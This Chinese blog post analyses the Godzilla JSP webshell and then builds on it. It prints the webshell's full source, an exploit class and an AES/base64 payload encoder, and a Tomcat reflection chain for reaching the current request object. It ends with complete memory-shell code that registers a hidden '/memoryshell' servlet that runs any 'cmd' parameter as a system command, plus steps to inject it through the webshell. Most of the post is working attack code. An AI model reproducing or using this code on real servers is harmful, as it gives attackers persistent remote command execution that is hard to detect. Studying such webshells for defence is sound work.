借助AI分析哥斯拉木马原理与Tomcat回显链路挖掘
VSole2023-09-05 10:00:31
前言本次分析使用了ChatGPT进行辅助分析,大大提升了工作效率,很快就分析出木马的工作流程和构造出利用方式。
- 分析• 首先对该木马进行格式化,以增强代码的可读性。得到如下代码
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2"> <jsp:declaration> String xc = "3c6e0b8a9c15224a"; String pass = "pass"; String md5 = md5(pass + xc); class X extends ClassLoader { public X(ClassLoader z) { super(z); } public Class Q(byte[] cb) { return super.defineClass(cb, 0, cb.length); } } /* * 作用:AES解密 * m:true加密,False解密 * */ public byte[] x(byte[] s, boolean m) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch(Exception e) { return null; } } /* * 作用:md5加密 * */ public static String md5(String s) { String ret = null; try { java.security.MessageDigest m; m = java.security.MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); } catch(Exception e) {} return ret; } /* * 作用:base64加密 * */ public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs }); } catch(Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs }); } catch(Exception e2) {} } return value; } /* * base64解密 * */ public static byte[]base64Decode(String bs) throws Exception { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs }); } catch(Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs }); } catch(Exception e2) {} } return value; } </jsp:declaration> <jsp:scriptlet> try { byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密 data = x(data, false);//AES解密 if(session.getAttribute("payload") == null) { session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载 } else { request.setAttribute("parameters", new String(data)); Object f = ((Class) session.getAttribute("payload")).newInstance(); f.equals(pageContext); response.getWriter().write(md5.substring(0, 16)); response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true))); response.getWriter().write(md5.substring(16)); } } catch(Exception e){ response.getWriter().write(e.getMessage()); } </jsp:scriptlet> </jsp:root>
- • 前期可以交付ChatGPT初步分析,理清各个函数的基本作用:
- • 得知各个函数的基本功能之后我们主要看
<jsp:scriptlet>
中的内容:
try { byte[] data = base64Decode(request.getParameter(pass));//对传入内容进行base64解密 data = x(data, false);//AES解密 if(session.getAttribute("payload") == null) { session.setAttribute("payload", new X(pageContext.getClass().getClassLoader()).Q(data));//将字节码加载 } else { request.setAttribute("parameters", new String(data)); Object f = ((Class) session.getAttribute("payload")).newInstance(); f.equals(pageContext); response.getWriter().write(md5.substring(0, 16)); response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true))); response.getWriter().write(md5.substring(16)); } } catch(Exception e){ response.getWriter().write(e.getMessage()); }
- • 可以看到首先会获取pass参数中的内容,进行
base64解密
获得一个字节数组,传入给x()
,该函数第二个参数为true时候是进行加密,而第二个参数是false
时候是解密.因此在base64解密
后接着是AES解密
,其中秘钥在<jsp:declaration
>已经进行定义为xc变量
它的值为3c6e0b8a9c15224a
。在解密后会判断session.getAttribute("payload")
是否为null
,若不是null
则将session中的payload变量设置为X类
加载字节码后的类,在二次访问后对该类进行实例化。其基本流程如下:
EXP构建按照上述流程,我们可以编译一个class文件读取后进行AES加密->Base64加密得到EXP,恶意代码的构造,可以在静态代码段中进行编写,因为在类加载时候会自动调用静态代码段。
exp.java
package exp; import java.io.IOException; public class exp { static { try { Runtime.getRuntime().exec("touch /tmp/gg.txt"); } catch (IOException e) { e.printStackTrace(); } } }
- • 编译为class
javac exp.java
- • POC,我们可以利用木马中的
x()
、base64Encode
当做EXP构成部分即可
package Fvck; import java.io.*; class Fvck{ public static byte[] readFileToByteArray(String filePath) { File file = new File(filePath); byte[] fileBytes = new byte[(int) file.length()]; try (FileInputStream fis = new FileInputStream(file)) { fis.read(fileBytes); } catch (IOException e) { e.printStackTrace(); return null; } return fileBytes; } public static byte[] AesEncode(byte[] s, boolean m) { String xc = "3c6e0b8a9c15224a"; try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES")); return c.doFinal(s); } catch(Exception e) { return null; } } public static String base64Encode(byte[] bs) throws Exception { Class base64; String value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs }); } catch(Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs }); } catch(Exception e2) {} } return value; } public static void main(String[] args) throws Exception { String result = base64Encode(AesEncode(readFileToByteArray("/Users/gqleung/Desktop/exp.class"),true)); System.out.println(result); } }
内存马注入
寻找Request
Java Object Searcher
基本使用方法
- • IDEA->File->Project Structure->SDKs->JDK home path,找到ClassPath地址
- • 将
java-object-searcher-0.1.0-jar-with-dependencies.jar
放到该地址下的/jre/lib/ext/
中例如:
/Library/Java/JavaVirtualMachines/jdk1.8.0_251.jdk/Contents/Home/jre/lib/ext/java-object-searcher-0.1.0-jar-with-dependencies.jar
- • 回到
IDEA->File->Project Structure->SDKs
,将java-object-searcher-0.1.0-jar-with-dependencies.jar
添加到依赖。
- • 在
Tomcat
上随便找个地方断点,后打开Evaluate
- • 代码中设置日志输出文件夹,点击
Evaluate
//设置搜索类型包含Request关键字的对象 List<Keyword> keys = new ArrayList<>(); keys.add(new Keyword.Builder().setField_type("Request").build()); //定义黑名单 List<Blacklist> blacklists = new ArrayList<>(); blacklists.add(new Blacklist.Builder().setField_type("java.io.File").build()); //新建一个广度优先搜索Thread.currentThread()的搜索器 SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys); // 设置黑名单 searcher.setBlacklists(blacklists); //打开调试模式,会生成log日志 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(20); //设置报告保存位置 searcher.setReport_save_path("/Users/gqleung/Desktop"); searcher.searchObject();
- • 在运行结束后会输出日志到保存的文件夹:
image-20230608143438929
- • 在其中找一条链子
TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [17] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} ---> global = {org.apache.coyote.RequestGroupInfo}
- • 创建一个线程根据上面链子寻找
代码编写
与上面一致,我们在index.jsp
中随便找个地方下断点,Evaluate
中进行查找。根据链子我们第一步是获取group
,我们通过当前线程去获取该对象。
- • 获取group
Thread thread = Thread.currentThread();//获取线程对象 Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group");//获取group属性 groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread);//读取group属性的值
- • 获取threads
获取threads方法与获取group基本一致
/*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group);
我们链子下一个对象是这个数组的第18
个元素,也就是下标为17
的元素,直接通过下标获取即可,注意一下数据类型。
/*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17];
- • 获取target
在链子中target是在org.apache.tomcat.util.net.NioEndpoint$Poller
一个内部类中,我们直接使用这个包权限不够获取,因此可以使用上一个对象直接getClass()
去获取,同时该数据类型
权限也不够,因此需要用Object
去代替.
/*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17);
- • 获取this$0
获取方法以及原因同上
/*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); /*获取this$0*/ Field this$0Field = target.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); Object this$0 = this$0Field.get(target);
- • 获取handler
这里我们直接同上方法会报错,我们用Class.forName
去指定包来获取看看
我们却发现还是报错了,报错提示并不存在handler这个字段
我们直接从依赖中看,AbstractProtocol
确实不存在handler
,但是存在handler
数据类型,并且这个数据类型是来自org.apache.tomcat.util.net.AbstractEndpoint.Handler
我们直接尝试从这个包获取handler
,发现获取成功
/*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); /*获取this$0*/ Field this$0Field = target.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); Object this$0 = this$0Field.get(target); /*获取handler*/ Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler"); handlerField.setAccessible(true); Object handler = handlerField.get(this$0);
- • 获取global
在获取到handler之后直接通过getClass
获取即可
/*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); /*获取this$0*/ Field this$0Field = target.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); Object this$0 = this$0Field.get(target); /*获取handler*/ Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler"); handlerField.setAccessible(true); Object handler = handlerField.get(this$0); /*获取global*/ Field globalField = handler.getClass().getDeclaredField("global"); globalField.setAccessible(true); Object global = globalField.get(handler);
- • 回显链最终代码
/*获取group*/ Thread thread = Thread.currentThread(); Field groupField = Class.forName("java.lang.Thread").getDeclaredField("group"); groupField.setAccessible(true); ThreadGroup group = (ThreadGroup)groupField.get(thread); /*获取threads*/ Field threadsField = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threadsField.setAccessible(true); Thread[] threads = (Thread[])threadsField.get(group); Thread t17 = threads[17]; /*获取target*/ Field targetField = t17.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); /*获取this$0*/ Field this$0Field = target.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); Object this$0 = this$0Field.get(target); /*获取handler*/ Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler"); handlerField.setAccessible(true); Object handler = handlerField.get(this$0); /*获取global*/ Field globalField = handler.getClass().getDeclaredField("global"); globalField.setAccessible(true); RequestGroupInfo global = (RequestGroupInfo)globalField.get(handler); /*获取processors*/ Field processorsField = global.getClass().getDeclaredField("processors"); processorsField.setAccessible(true); ArrayList processors = (ArrayList)processorsField.get(global); Object p0 = processors.get(0); /*获取request*/ Field reqField = p0.getClass().getDeclaredField("req"); reqField.setAccessible(true); org.apache.coyote.Request req = (org.apache.coyote.Request)reqField.get(p0); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);
- • 结合内存马
import org.apache.catalina.Wrapper; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.coyote.RequestGroupInfo; import javax.servlet.ServletContext; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.lang.reflect.Field; import java.util.ArrayList; public class exp extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { response.setContentType("text/html"); String cmd = request.getParameter("cmd"); PrintWriter out = response.getWriter(); try { Process ps = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); out.print(result); } catch (Exception e) { e.printStackTrace(); } } static { try { Thread thread = Thread.currentThread(); Field group = Class.forName("java.lang.Thread").getDeclaredField("group"); group.setAccessible(true); ThreadGroup threadGroup = (ThreadGroup) group.get(thread); Field threads = Class.forName("java.lang.ThreadGroup").getDeclaredField("threads"); threads.setAccessible(true); Thread[] thread1 = (Thread[]) threads.get(threadGroup); Thread t17 = thread1[17]; Field targetField = Class.forName("java.lang.Thread").getDeclaredField("target"); targetField.setAccessible(true); Object target = targetField.get(t17); Field this$0Field = target.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); Object this$0 = this$0Field.get(target); Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler"); handlerField.setAccessible(true); Object handler = handlerField.get(this$0); Field globalField = handler.getClass().getDeclaredField("global"); globalField.setAccessible(true); RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler); Field processorsField = global.getClass().getDeclaredField("processors"); processorsField.setAccessible(true); ArrayList processors = (ArrayList) processorsField.get(global); Object r0 = processors.get(0); Field reqField = r0.getClass().getDeclaredField("req"); reqField.setAccessible(true); org.apache.coyote.Request req = (org.apache.coyote.Request) reqField.get(r0); org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1); ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context");//获取servletContext中的context属性 applicationContextField.setAccessible(true);//设置该属性可访问性为True ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);//通过反射获取applicationContextField中context的值 Field standarContextField = applicationContext.getClass().getDeclaredField("context");//获取context属性值 standarContextField.setAccessible(true);//设置该属性可访问性为True StandardContext context = (StandardContext) standarContextField.get(applicationContext);//通过反射获取context的值也就是StandardContext //注册Servlet Wrapper wrapper = context.createWrapper();//创建一个Wrapper wrapper.setName("MemShellServlet");//设置Servlet名字 wrapper.setServletClass(exp.class.getName()); wrapper.setServlet(new exp());//实例化Servlet并设置对象为该Servlet context.addChild(wrapper);//添加进Context context.addServletMappingDecoded("/memoryshell","MemShellServlet");//注册Mapping } catch (Exception e) { } } }
使用哥斯拉木马注入Tomcat Servlet内存马
- • 在tomcat中运行上述代码可以在网站
WEB-INF/classes/exp.class
生成class,我们根据前面构造的EXP生成的base64,(注意需要url编码)
- • 需要访问两次才能触发
- • 成功注入内存马

VSole
网络安全专家